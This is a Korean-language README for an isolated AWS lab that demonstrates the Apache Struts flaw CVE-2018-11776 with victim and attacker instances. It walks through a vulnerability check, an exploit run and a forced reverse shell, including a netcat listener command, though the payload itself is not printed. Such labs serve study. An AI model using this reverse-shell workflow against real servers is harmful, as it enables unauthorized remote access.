
Apache Struts 취약점 CVE-2018-11776 실험을 위한 격리된 테스트 환경을 구동합니다.
Apache Struts 취약점 CVE-2018-11776을 실험하기 위한 격리된 테스트 환경을 구동합니다.
테스트 환경을 시작하려면 다음 명령을 실행하세요:
aws cloudformation create-stack \
--template-body file://cfn.yml \
--stack-name <STACK_NAME> \
--parameters \
ParameterKey=Ec2KeyName,ParameterValue=<KEY_NAME> \
ParameterKey=Linux2Ami,ParameterValue=<AMAZON_LINUX2_AMI_ID>
피해자 및 공격자 IP를 확인하세요. 둘 다에 SSH 세션을 시작하십시오:
# Victim public IP
aws cloudformation describe-stacks --stack-name=<STACK_NAME> \
--query 'Stacks[0].Outputs[?OutputKey==`VictimPublicIp`].OutputValue' --output text
# Attacker public IP
aws cloudformation describe-stacks --stack-name=<STACK_NAME> \
--query 'Stacks[0].Outputs[?OutputKey==`AttackerPublicIp`].OutputValue' --output text
피해자가 취약한지 확인하는 데 사용되는 명령을 검색하세요. 공격자 세션에서 실행하십시오:
aws cloudformation describe-stacks --stack-name=<STACK_NAME> \
--query 'Stacks[0].Outputs[?OutputKey==`CheckVuln`].OutputValue' --output text
(선택 사항) 익스플로잇이 작동하는지 확인하는 데 사용되는 명령을 검색하세요. 공격자 세션에서 실행하십시오:
aws cloudformation describe-stacks --stack-name=<STACK_NAME> \
--query 'Stacks[0].Outputs[?OutputKey==`RunExploit`].OutputValue' --output text
공격자 머신이 역방향 터널을 수신하도록 설정하십시오:
nc -lvp 31337
피해자가 공격자에게 역방향 터널을 강제로 시작하게 하는 명령을 검색하십시오:
aws cloudformation describe-stacks --stack-name=<STACK_NAME> \
--query 'Stacks[0].Outputs[?OutputKey==`RunReverseShell`].OutputValue' --output text
공격자 머신에 추가 SSH 세션을 여십시오. 그런 다음, 이전 단계에서 검색한 명령을 실행하십시오.
역방향 터널 세션으로 돌아가십시오. 이제 피해자 머신에 CLI로 액세스할 수 있습니다.
테스트 환경을 삭제하려면 다음 명령을 실행하십시오:
aws cloudformation delete-stack --stack-name <STACK_NAME>
이 데모는 hook-s3c의 CVE-2018-11776-Python-PoC PoC 코드를 기반으로 합니다.